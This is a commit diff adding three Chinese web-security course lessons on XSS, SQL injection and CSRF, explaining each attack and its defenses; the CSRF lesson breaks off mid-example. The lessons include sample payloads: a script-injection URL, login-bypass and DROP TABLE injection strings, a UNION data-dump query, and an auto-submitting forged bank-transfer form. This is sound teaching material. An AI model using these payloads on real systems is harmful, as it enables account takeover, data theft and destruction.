This commit is contained in:
louzefeng
2024-07-11 05:50:32 +00:00
parent bf99793fd0
commit d3828a7aee
6071 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,224 @@
<audio id="audio" title="06 | XSS当你“被发送”了一条微博时到底发生了什么" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/c9/0f/c91815434c8e74d21fc9d6fd9908bd0f.mp3"></audio>
你好,我是何为舟。
在前面的课程中,我们重点讲解了安全的一些基础知识,更多地是从宏观的层面上来谈论安全。但**安全不是一个靠宏观指导就能够落地的东西**。因此接下来我会结合真实案例中的各种安全问题来介绍具体的安全防护手段和工具。今天我们就先从最基础的Web安全开始。
在Web安全这个模块中我们所谈论的Web是指所有基于HTTP或者其他超文本传输协议RPC等开发的应用包括网页、App、API接口等等。这类应用的共同点是通过HTTP等文本协议在客户端和服务端之间进行数据交换。客户端需要将服务端传出的数据展示渲染出来服务端需要将客户端传入的数据进行对应的处理。而Web安全所涉及的正是这些应用中存在的各类安全问题。
背景介绍完了,下面我们进入今天的正题。
基于前面安全基础知识的学习,你现在通过了面试官的考核,成功进入了这家公司。某一天,公司的网页应用中发生了一件事。
有很多用户发送了同样类型的内容而且这些内容都是一个带有诱惑性的问题和一个可以点击的链接。这些用户全部反馈说这不是他们自己发的。前端开发表示用户内容都是后端产生的他不负责。后端开发表示这些内容都是用户自己提交上来的他也不负责。正当大家议论纷纷的时候你作为学习过安全专栏的人敏锐地发现了问题的原因这是黑客发起了XSS攻击。
这个事情的原型其实是2011年微博真实出现的一次安全事件。整个事件的核心问题其实出在这个可以点击的链接上。在这个事件中黑客并不需要入侵到微博服务器中只要用户点击了这个链接就会“被发送”这样的博文。
这就是著名的XSS攻击所能够实现的效果。那么XSS攻击究竟是怎么产生的呢我们究竟该如何防护呢今天我就带你来了解这个网页中最经典的XSS攻击。
## XSS攻击是如何产生的
首先我们来看XSS攻击是如何产生的。作为最普遍的网页语言HTML非常灵活你可以在任意时候对HTML进行修改。但是这种灵活性也给了黑客可趁之机通过给定异常的输入黑客可以在你的浏览器中插入一段恶意的JavaScript脚本从而窃取你的隐私信息或者仿冒你进行操作。这就是**XSS攻击**Cross-Site Scripting跨站脚本攻击的原理。
你现在应该对XSS有了一个大致的了解除此之外你还需要了解三种XSS攻击它们分别是反射型XSS、基于DOM的XSS以及持久型XSS。下面我们一一来看。
### 1.反射型XSS
假设现在有一个搜索网页当你输入任意一个关键词并点击“搜索”按钮之后这个网页就会给你展示“你搜索的结果内容是XXX”。
<img src="https://static001.geekbang.org/resource/image/a8/63/a80e92776bad0f35e8d7030806165163.jpg" alt="">
我们以PHP为例这个网页的服务端实现逻辑如下所示
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;form role=&quot;search&quot; action=&quot;&quot; method=&quot;GET&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;search&quot; placeholder=&quot;请输入要搜索的内容&quot;&gt;
&lt;button type=&quot;submit&quot;&gt;搜索&lt;/button&gt;
&lt;/form&gt;
&lt;?php
if (isset($_GET['search']) &amp;&amp; !empty($_GET['search'])) {
$search = $_GET['search'];
echo &quot;&lt;h3&gt;你搜索的结果内容是:&quot; . $search . &quot;&lt;/h3&gt;&quot;;
}
?&gt;
&lt;/body&gt;
&lt;/html&gt;
```
我们可以看到这段代码的逻辑是将搜索框输入的内容拼接成字符串然后填充到最终的HTML中。而且这个过程中没有任何的过滤措施如果黑客想要对这个过程发起攻击他会输入下面这行代码
```
&lt;/h3&gt;&lt;script&gt;alert('xss');&lt;/script&gt;&lt;h3&gt;
```
黑客输入这段字符后网页会弹出一个告警框我自己测试的时候发现部分浏览器如Safari不会弹出告警框这是因为浏览器自身提供了一定的XSS保护功能
<img src="https://static001.geekbang.org/resource/image/f0/69/f0d2d16b482c9bbc5388250f2d34cc69.jpg" alt="">
通过查看网页的源码可以发现这中间多了一段JavaScript的脚本
<img src="https://static001.geekbang.org/resource/image/29/98/29cff8464c5dd7b88dafb377e0439b98.jpg" alt="">
这就是我们所说的反射型XSS攻击的过程。其实它攻击的原理很简单。我们可以总结一下即通过开头的`&lt;/h3&gt;`和结尾的`&lt;h3&gt;`,将原本的`&lt;h3&gt;`标签进行闭合,然后中间通过`&lt;script&gt;`标签插入JavaScript代码并执行就完成了整个反射型XSS的流程。
你可以注意一下浏览器的地址:[http://localhost/index.php?search=&lt;%2Fh3&gt;&lt;script&gt;alert('xss')%3B&lt;%2Fscript&gt;&lt;h3&gt;](http://localhost/index.php?search=%3C%2Fh3%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E%3Ch3%3E) 。实际上任何人只要点击了这个链接就会执行一段黑客定义的JavaScript脚本。所以我们经常说不要点击任何未知的链接。
反射型XSS的总体流程我总结了一下你可以看下面这张图。黑客诱导你点击了某个链接这个链接提供的服务可能就是上述的搜索功能。网页在解析到链接的参数后执行正常的搜索逻辑但是因为漏洞网页中被填入了黑客定义的脚本。使得用户的浏览器最终执行的是黑客的脚本。
<img src="https://static001.geekbang.org/resource/image/b8/2c/b85f24cbc8243426fb270bcb74be682c.jpeg" alt="">
### 2.基于DOM的XSS
在上面的例子中我们可以看到反射型XSS产生在前后端一体的网页应用中服务端逻辑会改变最终的网页代码。但是目前更流行的其实是前后端分离这样网页的代码不会受服务端影响。那么这样是不是就安全了呢
显然不是的。尽管服务端无法改变网页代码但网页本身的JavaScript仍然可以改变。而黑客只要利用了这一点同样能够在网页中插入自己的脚本。这也就是所谓的基于DOM的XSS漏洞。
对于上述搜索功能,通过前后端分离,它的源码就变成了下面这样:
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;form role=&quot;search&quot; action=&quot;&quot; method=&quot;GET&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;search&quot; placeholder=&quot;请输入要搜索的内容&quot;&gt;
&lt;button type=&quot;submit&quot;&gt;搜索&lt;/button&gt;
&lt;/form&gt;
&lt;script&gt;
var search = location.search.substring(8);
document.write('你搜索的结果内容是:' + decodeURIComponent(search));
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这段代码能够实现和之前的PHP代码相同的逻辑当你在搜索框点击搜索关键词之后网页会展示你输入的关键词。只不过HTML是通过JavaScript脚本修改[DOM](https://baike.baidu.com/item/%E6%96%87%E6%A1%A3%E5%AF%B9%E8%B1%A1%E6%A8%A1%E5%9E%8B/1033822?fromtitle=DOM&amp;fromid=50288&amp;fr=aladdin)来实现这个功能的。
那么和上述例子一样在基于DOM的XSS中黑客也可以通过插入一段`&lt;script&gt;alert('xss');&lt;/script&gt;`来执行指定的JavaScript脚本。基于DOM的XSS总体流程如下图所示。可以看到这个流程其实和反射型XSS一致只是不需要经过服务端了而已。
<img src="https://static001.geekbang.org/resource/image/ac/bf/ac0ce9c0f42db7dd48cb155228b7b1bf.jpeg" alt="">
### 3.持久型XSS
你可以回想一下当你在网页中搜索一个关键词时实际上与这个关键词相关的所有搜索结果都会被展示出来。一旦这些搜索结果中包含黑客提供的某个恶意JavaScript脚本那么只要我们浏览了这个网页就有可能会执行这些脚本。这就是持久型XSS。因为这些恶意的搜索结果会长期保存在服务端数据库中所以它又叫作存储型XSS。在应用中存储用户的输入并对它们进行展示的地方都可能出现持久型XSS。比如搜索结果、评论、博文等等。
有了前面的铺垫持久型XSS的产生过程就很好理解了具体我就不细说了我还是把总体流程画了一张图你可以仔细看看。
<img src="https://static001.geekbang.org/resource/image/2e/75/2e8c429f46837b3f46a276e462c93175.jpeg" alt="">
相比前面两种XSS攻击来说持久型XSS往往具备更强的危害性。因为对于一个反射型或者基于DOM的XSS来说需要黑客诱导用户点击恶意的URL才能够成功地在用户浏览器上执行JavaScript脚本。这对黑客在诱导用户操作方面的能力提出了考验并不是所有的用户都是小白一些有经验的用户会在点击链接前进行一定的考虑。
而持久型XSS则不同它是将恶意的JavaScript脚本写入到了正常的服务端数据库中因此只要用户正常的使用业务功能就会被注入JavaScript脚本。所以说持久型XSS在传播速度和传播范围上会远远超出其他类型的XSS。
## 通过XSS攻击黑客能做什么
我们知道这3种XSS攻击都是因为黑客在用户的浏览器中执行了恶意的JavaScript脚本。那么执行这些JavaScript脚本有什么样的危害呢我把这些危害总结了一下可以分为下面几种。
### 1.窃取Cookie
从上面的例子中我们可以看到黑客可以窃取用户的Cookie。因为黑客注入的JavaScript代码是运行在server.com这个域名下的因此黑客可以在JavaScript中通过document.cookie获得Cookie信息。
另外,需要我们注意的是,受[SOP](https://baike.baidu.com/item/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/3927875?fr=aladdin)Same Origin Policy同源策略保护我们在server.com中是无法直接向hacker.com发送GET或者POST请求的。这也是为什么在上面的例子中我们需要通过window.location来执行跳转操作间接地将Cookie信息发送出去。除了window.location之外我们还可以通过加载JavaScript文件、图片等方式向attacker.com发送带有Cookie的GET请求。
### 2.未授权操作
除了窃取敏感信息以外黑客还可以利用JavaScript的特性直接代替用户在HTML进行各类操作。
在文章开头我们提到的微博XSS攻击事件中黑客就利用JavaScript脚本让用户发送了一个微博微博中同时还带有反射型XSS的链接。这样一来每个点击链接的用户都会通过微博的形式诱导更多的用户点击链接一传十、十传百造成大范围的传播。
### 3.按键记录和钓鱼
窃取Cookie和未授权操作都是我们很容易想到的危害除此之外JavaScript还能做什么呢
JavaScript的功能十分强大它还能够记录用户在浏览器中的大部分操作。比如鼠标的轨迹、键盘输入的信息等。也就是说你输入的账号名和密码都可以被JavaScript记录下来从而被黑客获取到。
另外即使某个存在XSS漏洞的页面不具备任何输入框黑客还可以通过修改DOM伪造一个登录框来诱导用户在本不需要登录的页面去输入自己的用户名和密码。这也是“钓鱼”的一种形式在这个过程中用户访问的域名是完全正常的只是页面被篡改了所以具备更高的迷惑性。
## 如何进行XSS防护
认识到XSS的危害之后作为开发人员我们最应该掌握的是如何避免在开发过程中出现XSS漏洞。接下来我们就来看一看具体有哪些防护方法。
### 1.验证输入OR验证输出
防护的核心原则是:**一切用户输入皆不可信**。你的第一反应一定是,这很好实现啊,当接收到用户的输入时,我们就进行验证,这不就做到了吗?实际上并不是这么简单的,我们还是通过搜索这个例子来看。在用户点击“搜索”按钮之后,如果我们马上对他输入的内容进行验证,这样就会产生两个问题。
1.你将无法保存用户的原始输入信息。这样一来当出现了Bug或者想要对黑客行为进行溯源时你只能“推断”而不能准确地获取用户的原始输入。
2.用户的内容可能会被多种语言获取和使用提前编码或者处理将产生未知的问题。比如在旧版本的PHP中就存在“[magic quotes](https://www.php.net/manual/en/security.magicquotes.php)”的漏洞因为PHP无法处理某些编码的字符而导致崩溃。
**因此,我更推荐在需要输出的时候去进行验证**,即当需要展示的时候,我们再对内容进行验证,这样我们就能够根据不同的环境去采取不同的保护方案了。
在HTML中常见的XSS注入点我已经总结好了你可以看下面这个表格
<img src="https://static001.geekbang.org/resource/image/7c/a0/7c1b9b3da33247963c2c1bf38ae184a0.jpeg" alt="">
### 2.编码
现在,我们已经理解了,**XSS防护的核心原则就是验证**,那具体该怎么去做验证呢?我认为,我们可以优先采用编码的方式来完成。所谓编码,就是将部分浏览器识别的关键词进行转换(比如&lt;&gt;从而避免浏览器产生误解。对于客户端来说编码意味着使用JavaScript提供的功能对用户内容进行处理。具体的方法我也总结了一下你可以看这个表格。
<img src="https://static001.geekbang.org/resource/image/ca/1e/ca06351dcf763b86bb8bef554763bc1e.jpeg" alt="">
对于最后一个注入点即在JavaScript中进行注入目前还没有内置的编码方式来对它提供保护。你当然可以通过诸如URL编码等方式进行编码但这有可能对应用的自身逻辑产生影响。因此JavaScript中的注入并不适合通过编码来进行保护。
### 3.检测和过滤
但是在很多时候编码会对网页实际的展现效果产生影响。比如原本用户可能想展示一个1&gt;0却被编码展示成了1&amp;gt0。尽管网络环境安全了却对用户造成了困扰。那么我们还可以采取哪些方法进行验证呢接下来我就为你介绍一下检测和过滤。
首先,我们需要对用户的内容进行检测。在这里,我们可以采用黑名单和白名单的规则。黑名单往往是我们最直接想到的方法:既然黑客要插入`&lt;javascript&gt;`标签,那么我们就检测用户内容中是否存在`&lt;javascript&gt;`标签就好了。
但是,黑客的攻击方法是无穷无尽的。你检测了`&lt;javascript&gt;`,黑客就可以改成`&lt;JavaScript&gt;`因为HTML标签对大小写不敏感甚至有些时候还能够编码成`&amp;#106;avascript`等等。另外HTML5的发展速度很快总是有新的标签被开发出来这些新标签中也可能包含新的注入点。因此黑名单的更新和维护过程是需要我们和黑客进行长期对抗的过程
所以,在检测中,**我更推荐使用白名单的规则**。因为白名单的规则比较简单并且十分有效。比如在只输入一个分数的地方规定只有整型变量是合法的。这样一来你就能够检测出99.99%的攻击行为了。
说完了检测那当发现某个用户的内容可能存在XSS攻击脚本时我们该怎么处理呢这个时候处理选项有两个拒绝或者过滤。毫无疑问拒绝是最安全的选项。一旦你发现可能的XSS攻击脚本只要不将这段用户内容展现出来就能避免可能的攻击行为。
但是拒绝会阻碍用户的使用流程从用户体验的角度上来考虑的话过滤会更被用户所接受。上面提到的编码就属于一种过滤的方式。除此之外我们也可以直接对敏感字符进行替换删除等。需要注意的是在替换的时候一定不能采取黑名单的形式比如将javascript进行删除那黑客就可以通过JavaScript来绕过而是**应该采取白名单的形式**比如除了div之外的标签全部删除
同样地,**过滤的流程也必须彻底**。比如我看到过有人采用下面这行字符串来过滤javascript标签
```
$str=str_replace('&lt;javascript&gt;','',$str);
```
但黑客只需要将str的值变成`&lt;java&lt;javascript&gt;script&gt;`就可以了,因为`str_replace('&lt;javascript&gt;','','&lt;java&lt;javascript&gt;script&gt;')`的结果就是`&lt;javascript&gt;`
### 4.CSP
面对XSS这样一个很普遍的问题W3C提出了CSPContent Security Policy内容安全策略来提升Web的安全性。所谓CSP就是在服务端返回的HTTP header里面添加一个Content-Security-Policy选项然后定义资源的白名单域名。浏览器就会识别这个字段并限制对非白名单资源的访问。
配置样例如下所示:
```
Content-Security-Policy:default-src none; script-src self;
connect-src self; img-src self; style-src self;
```
那我们为什么要限制外域资源的访问呢这是因为XSS通常会受到长度的限制导致黑客无法提交一段完整的JavaScript代码。为了解决这个问题黑客会采取引用一个外域JavaScript资源的方式来进行注入。除此之外限制了外域资源的访问也就限制了黑客通过资源请求的方式绕过SOP发送GET请求。目前CSP还是受到了大部分浏览器支持的只要用户使用的是最新的浏览器基本都能够得到很好的保护。
## 总结
好了我们讲了XSS的攻击类型、会产生的影响以及如何对它进行防护。下面我来带你总结回顾一下你要掌握的重点内容。
简单来说XSS就是利用Web漏洞在用户的浏览器中执行黑客定义的JavaScript脚本这样一种攻击方式。根据攻击方式的不同可以分为反射型XSS、基于DOM的XSS和持久型XSS。通过在用户的浏览器中注入脚本黑客可以通过各种方式采集到用户的敏感信息包括Cookie、按键记录、密码等。
预防XSS主要通过对用户内容的验证来完成。首先我推荐在需要展示用户内容的时候去进行验证而不是当用户输入的时候就去验证。在验证过程中我们优先采用编码的方式来完成。如果编码影响到了业务的正常功能我们就可以采用白名单的检测和过滤方式来进行验证。除此之外我们可以根据业务需要配置合适的CSP规则这也能在很大程度上降低XSS产生的影响。
另外,在这里,我把本节课的重点内容梳理了一个脑图。你可以根据它来查漏补缺,加深印象。
<img src="https://static001.geekbang.org/resource/image/48/20/48a923998b80ad2f1c2a274704690e20.jpg" alt="">
## 思考题
好了通过今天的学习相信你已经了解了什么是XSS攻击。你可以试着分析一下文章开头提到的事件中黑客是利用哪种类型的XSS发起的攻击呢我们应该怎么进行防御呢
另外,在事件中我也描述了开发“甩锅”的场景:前端也好、后端也好,开发人员都不认为是自己的问题。那么,你认为出现这种安全事件,应该由谁来“背锅”呢?是开发、运维还是安全负责人呢?
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,204 @@
<audio id="audio" title="07 | SQL注入明明设置了强密码为什么还会被别人登录" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/00/99/003ab9fe4ffc1a14553f767cba654c99.mp3"></audio>
你好,我是何为舟。
在上一讲中我们介绍了XSS攻击。今天我们来介绍另外一种常见的Web攻击SQL注入。
在讲正文之前,让我们先来看一个案例。某天,当你在查看应用的管理后台时,发现有很多异常的操作。接着,你很快反应过来了,这应该是黑客成功登录了管理员账户。于是,你立刻找到管理员,责问他是不是设置了弱密码。管理员很无辜地表示,自己的密码非常复杂,不可能泄露,但是为了安全起见,他还是立即修改了当前的密码。奇怪的是,第二天,黑客还是能够继续登录管理员账号。问题来了,黑客究竟是怎么做到的呢?你觉得这里面的问题究竟出在哪里呢?你可以先自己思考一下,然后跟着我开始今天的学习!
## SQL注入攻击是如何产生的
在上一讲中我们讲了XSS是黑客通过篡改HTML代码来插入并执行恶意脚本的一种攻击。其实SQL注入和XSS攻击很类似都是黑客通过篡改代码逻辑发起的攻击。那么不同的点是什么SQL注入到底是什么呢
通常来说我们会将应用的用户信息存储在数据库中。每次用户登录时都会执行一个相应的SQL语句。这时黑客会通过构造一些恶意的输入参数在应用拼接SQL语句的时候去篡改正常的SQL语意从而执行黑客所控制的SQL查询功能。这个过程就相当于黑客“注入”了一段SQL代码到应用中。这就是我们常说的**SQL注入**。
这么说可能还是有点理论不够具体。接下来我就以几个简单而又经典的示例来给你介绍两种主要的SQL注入方式。
### 1.修改WHERE语句
我们先来看一个例子。现在有一个简单的登录页面需要用户输入Username和Password这两个变量来完成登录。具体的Web后台代码如下所示
```
uName = getRequestString(&quot;username&quot;);
uPass = getRequestString(&quot;password&quot;);
sql = 'SELECT * FROM Users WHERE Username =&quot;' + uName + '&quot; AND Password =&quot;' + uPass + '&quot;'
```
当用户提交一个表单假设Username为adminPassword为123456Web将执行下面这行代码
```
SELECT * FROM Users WHERE Username =&quot;admin&quot; AND Password =&quot;123456&quot;
```
用户名密码如果正确的话这句SQL就能够返回对应的用户信息如果错误的话不会返回任何信息。因此只要返回的行数≥1就说明验证通过用户可以成功登录。
所以,当用户正常地输入自己的用户名和密码时,自然就可以成功登录应用。那黑客想要在不知道密码的情况下登录应用,他又会输入什么呢?他会输入 **`" or ""="`**。这时,应用的数据库就会执行下面这行代码:
```
SELECT * FROM Users WHERE Username =&quot;&quot; AND Password =&quot;&quot; or &quot;&quot;=&quot;&quot;
```
我们可以看到WHERE语句后面的判断是通过or进行拼接的其中""=""的结果是true。那么当有一个or是true的时候最终结果就一定是true了。因此这个WHERE语句是恒为真的所以数据库将返回全部的数据。
这样一来,我们就能解答文章开头的问题了,也就是说,黑客只需要在登录页面中输入 **`" or ""="`**就可以在不知道密码的情况下成功登录后台了。而这也就是所谓的“万能密码”。而这个“万能密码”其实就是通过修改WHERE语句改变数据库的返回结果实现无密码登录。
### 2.执行任意语句
除此之外大部分的数据库都支持多语句执行。因此黑客除了修改原本的WHERE语句之外也可以在原语句的后面插入额外的SQL语句来实现任意的增删改查操作。在实际工作中MySQL是最常用的数据库我们就以它为例来介绍一下任意语句是如何执行的。
在MySQL中实现任意语句执行最简单的方法就是利用分号将原本的SQL语句进行分割。这样我们就可以一次执行多个语句了。比如下面这个语句在执行的时候会先插入一个行然后再返回Users表中全部的数据。
```
INSERT INTO Users (Username, Password) VALUES(&quot;test&quot;,&quot;000000&quot;); SELECT * FROM Users;
```
接下来我们来看一个具体的例子。在用户完成登录后应用通常会通过userId来获取对应的用户信息。其Web后台的代码如下所示
```
uid = getRequestString(&quot;userId&quot;);
sql = &quot;SELECT * FROM Users WHERE UserId = &quot; + uid;
```
在这种情况下黑客只要在传入的userId参数中加入一个分号就可以执行任意的SQL语句了。比如黑客想“删库跑路”的话就令userId为 **`1;DROP TABLE Users`**那么后台实际执行的SQL就会变成下面这行代码而数据库中所有的用户信息就都会被删除。
```
SELECT * FROM Users WHERE UserId = 1DROP TABLE Users
```
SQL注入的“姿势”还有很多比如[没有回显的盲注](https://www.freebuf.com/articles/web/175049.html)、[基于INSERT语句的注入](https://www.jianshu.com/p/1f82582452df?utm_campaign)等等它们的原理都是一样的都是通过更改SQL的语义来执行黑客设定的SQL语句。如果你有兴趣可以通过我前面给出的链接去进一步了解。
## 通过SQL注入攻击黑客能做什么
通过上面对SQL注入的简单介绍我们已经知道SQL注入会令Web后台执行非常规的SQL语句从而导致各种各样的问题。那么通过SQL注入攻击黑客究竟能够干些什么呢下面我们就一一来看。
### 1.绕过验证
在上面的内容中,我们已经介绍过,**`" or ""="`** 作为万能密码可以让黑客在不知道密码的情况下通过登录认证。因此SQL注入最直接的利用方式就是绕过验证也就相当于身份认证被破解了。
### 2.任意篡改数据
除了绕过验证我们在任意语句执行的部分中讲到SQL注入漏洞导致黑客可以执行任意的SQL语句。因此通过插入DML类的SQL语句INSERT、UPDATE、DELETE、TRUNCATE、DROP等黑客就可以对表数据甚至表结构进行更改这样数据的完整性就会受到损害。比如上面例子中黑客通过插入DROP TABLE Users删除数据库中全部的用户。
### 3.窃取数据
在XSS漏洞中黑客可以通过窃取Cookie和“钓鱼”获得用户的隐私数据。那么在SQL注入中黑客会怎么来获取这些隐私数据呢
在各类安全事件中我们经常听到“拖库”这个词。所谓“拖库”就是指黑客通过类似SQL注入的手段获取到数据库中的全部数据如用户名、密码、手机号等隐私数据。最简单的黑客利用UNION关键词将SQL语句拼接成下面这行代码之后就可以直接获取全部的用户信息了。
```
SELECT * FROM Users WHERE UserId = 1 UNION SELECT * FROM Users
```
### 4.消耗资源
通过[第1讲](https://time.geekbang.org/column/article/176567)对CIA三元组的学习我们知道除了获取数据之外影响服务可用性也是黑客的目标之一。
SQL注入破坏可用性十分简单可以通过完全消耗服务器的资源来实现。比如在Web后台中黑客可以利用WHILE打造死循环操作或者定义存储过程触发一个无限迭代等等。在这些情况下数据库服务器因为CPU被迅速打满持续100%,而无法及时响应其他请求。
总结来说通过SQL注入攻击黑客可以绕过验证登录后台非法篡改数据库中的数据还能执行任意的SQL语句盗取用户的隐私数据影响公司业务等等。所以我认为SQL注入相当于让黑客直接和服务端的数据库进行了交互。正如我们一直所说的应用的本质是数据黑客控制了数据库也就相当于控制了整个应用。
## 如何进行SQL注入防护
在认识到SQL注入的危害之后我们知道一个简单的SQL查询逻辑能够带来巨大的安全隐患。因此我们应该做到在开发过程中就避免出现SQL注入漏洞。那具体应该怎么做呢接下来我会为你介绍3种常见的防护方法它们分别是使用PreparedStatement、使用存储过程和验证输入。接下来我们一一来看。
### 1.使用PreparedStatement
通过**合理地**使用PreparedStatement我们就能够避免99.99%的SQL注入问题。你肯定很好奇我为什么会这么说。接下来让我们一起看一下它的实现过程。
当数据库在处理一个SQL命令的时候大致可以分为两个步骤
- 将SQL语句解析成数据库可使用的指令集。我们在使用EXPLAIN关键字分析SQL语句就是干的这个事情
- 将变量代入指令集开始实际执行。之所以在批量处理SQL的时候能够提升性能就是因为这样做避免了重复解析SQL的过程。
那么PreparedStatement为什么能够避免SQL注入的问题呢
这是因为SQL注入是在解析的过程中生效的用户的输入会影响SQL解析的结果。因此我们可以通过使用PreparedStatement将SQL语句的解析和实际执行过程分开只在执行的过程中代入用户的操作。这样一来无论黑客提交的参数怎么变化数据库都不会去执行额外的逻辑也就避免了SQL注入的发生。
在Java中我们可以通过执行下面的代码将解析和执行分开
```
String sql = &quot;SELECT * FROM Users WHERE UserId = ?&quot;;
PreparedStatement statement = connection.prepareStatement(sql);
statement.setInt(1, userId);
ResultSet results = statement.executeQuery();
```
为了实现相似的效果在PHP中我们可以使用PDOPHP Data Objects在C#中我们可以使用OleDbCommand等等。
这里有一点需要你注意前面我们说了通过合理地使用PreparedStatement就能解决99.99%的SQL注入问题那到底怎么做才算“合理地”使用呢
PreparedStatement为SQL语句的解析和执行提供了不同的“方法”你需要分开来调用。但是如果你在使用PreparedStatement的时候还是通过字符串拼接来构造SQL语句那仍然是将解析和执行放在了一块也就不会产生相应的防护效果了。我这里给你展示了一个错误案例你可以和上面的代码进行对比。
```
String sql = &quot;SELECT * FROM Users WHERE UserId = &quot; + userId;
PreparedStatement statement = connection.prepareStatement(sql);
ResultSet results = statement.executeQuery();
```
### 2.使用存储过程
接下来,我们说一说,如何使用[存储过程](https://baike.baidu.com/item/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1240317?fr=aladdin)来防止SQL注入。实际上它的原理和使用PreparedStatement类似都是通过将SQL语句的解析和执行过程分开来实现防护。区别在于存储过程防注入是将解析SQL的过程由数据库驱动转移到了数据库本身。
还是上述的例子,使用存储过程,我们可以这样来实现:
```
delimiter $$  #将语句的结束符号从分号;临时改为两个$$(可以是自定义)
CREATE PROCEDURE select_user(IN p_id INTEGER)
BEGIN
  SELECT * FROM Users WHERE UserId = p_id;
END$$
delimiter;  #将语句的结束符号恢复为分号
call select_user(1);
```
### 3.验证输入
在上一节课中,我们讲过,**防护的核心原则是,一切用户输入皆不可信**。因此SQL注入的防护手段和XSS其实也是相通的主要的不同在于
- SQL注入的攻击发生在输入的时候因此我们只能在输入的时候去进行防护和验证
- 大部分数据库不提供针对SQL的编码因为那会改变原有的语意所以SQL注入没有编码的保护方案。
因此对所有输入进行验证或者过滤操作能够很大程度上避免SQL注入的出现。比如在通过userId获取Users相关信息的示例中我们可以确认userId必然是一个整数。因此我们只需要对userId参数进行一个整型转化比如Java中的Integer.parseIntPHP的intval就可以实现防护了。
当然部分场景下用户输入的参数会比较复杂。我们以用户发出的评论为例其内容完全由用户定义应用无法预判它的格式。这种情况下应用只能通过对部分关键字符进行过滤来避免SQL注入的发生。比如在MySQL中需要注意的关键词有" % \ _。
这里我简单地总结一下在实际使用这些防护方法时的注意点。对于验证输入来说尤其是在复杂场景下的验证输入措施其防护效果是最弱的。因此避免SQL注入的防护方法首要选择仍然是PreparedStatement或者存储过程。
## 总结
好了,这一节内容差不多了,下面我来带你总结回顾一下,你要掌握的重点内容。
SQL注入就是黑客通过相关漏洞篡改SQL语句的攻击。通过SQL注入黑客既可以影响正常的SQL执行结果从而绕过验证也可以执行额外的SQL语句对数据的机密性、完整性和可用性都产生影响。
为了避免SQL注入的出现我们需要正确地使用PreparedStatement方法或者存储过程尽量避免在SQL语句中出现字符串拼接的操作。除此之外SQL注入的防护也可以和XSS一样对用户的输入进行验证、检测并过滤SQL中的关键词从而避免原有语句被篡改。
今天的内容比较多,为了方便你记忆,我总结了一个知识脑图,你可以通过它来对今天的重点内容进行复习巩固。<br>
<img src="https://static001.geekbang.org/resource/image/1b/36/1b898391a3a04a764d0442d8481c4236.jpg" alt="">
## 思考题
好了,今天的内容差不多了,我们来看一道思考题。
假设有下面这样一个语句:
```
SELECT Username FROM Users WHERE UserId = 1
```
你现在已经知道WHERE语句中存在了SQL注入的点。那么我们怎么才能获取到除了Username之外的其他字段呢这里我给你一个小提示你可以先了解一下“[盲注](https://www.freebuf.com/articles/web/175049.html)”这个概念,之后再来思考这个问题。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,157 @@
<audio id="audio" title="08 | CSRF/SSRF为什么避免了XSS还是“被发送”了一条微博" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a9/46/a977c8db9e0c70e83657334dc2958e46.mp3"></audio>
你好,我是何为舟。
前面我们讲了2种常见的Web攻击XSS和SQL注入。它们分别篡改了原始的HTML和SQL逻辑从而使得黑客能够执行自定义的功能。那么除了对代码逻辑进行篡改黑客还能通过什么方式发起Web攻击呢
我们还是先来看一个例子。在平常使用浏览器访问各种网页的时候,是否遇到过,自己的银行应用突然发起了一笔转账,又或者,你的微博突然发送了一条内容?
在我们学习XSS之后你可能会联想到这是银行或者微博中出现了某个XSS漏洞。但问题是你今天并没有访问过银行或者微博的页面所以并没有“被XSS”的机会。这时你想到会不会是你今天访问的其他网页里存在一些恶意的攻击实现了你不知道的转账和发博行为呢好了你肯定很想知道黑客究竟是怎么做到的那你不妨先自己思考一下写出几个可能的答案然后跟着我开始学习今天的内容
## CSRF攻击是如何产生的
我们几乎每天都要用到浏览器,我们的信息也会被浏览器“保存”。那我们首先来看一下,浏览器是如何保存你的身份信息的。
当我们在访问一个Web页面的时候并不是我们自己去获取页面信息而是浏览器去获取了这些信息并将它们进行了展示。这就说明你允许浏览器代表你去和Web的服务端进行交互。为了能够准确地代表你的身份浏览器通常会在Cookie中存储一些必要的身份信息。所以在我们使用一个网页的时候只需要在首次访问的时候登录就可以了。
从用户体验上来说这当然是非常方便的。但是黑客正是利用这一点来编写带有恶意JavaScript脚本的网页通过“钓鱼”的方式诱导你访问。然后黑客会通过这些JavaScript脚本窃取你保存在网页中的身份信息通过仿冒你让你的浏览器发起伪造的请求最终执行黑客定义的操作。而这一切对于你自己而言都是无感知的。这就是**CSRF**Cross-Site Request Forgery跨站请求伪造攻击。
接下来,我们就以银行转账为例子,来详细讲解一下这个攻击过程。
当你在银行页面发起一笔转账时,这个过程其实是通过一个转账接口来完成的。这个接口的内容可能包括下面这些内容:
- 接口地址:`http://bank.com/transfer`
- HTTP方法POST
- 接口参数to目标账户、amount金额
在转账之前你肯定进行了一次登录。这样一来这个转账接口就可以通过你之前存储在Cookie中的相关字段来完成认证了。所以这个接口参数中不需要包含任何身份认证相关的信息。也正是因为如此这个接口满足了CSRF攻击的基本条件
- 使用Cookie进行认证
- 参数中不包含任何隐私信息。
于是,黑客可以构造一个如下的空白网页。我们假设这个网页的地址为 hacker.com。
```
&lt;html&gt;
&lt;body&gt;
&lt;form action=&quot;http://bank.com/transfer&quot; method=&quot;POST&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;to&quot; value=&quot;hacker&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;amount&quot; value=&quot;10000.00&quot; /&gt;
&lt;/form&gt;
&lt;script&gt;
document.forms[0].submit();
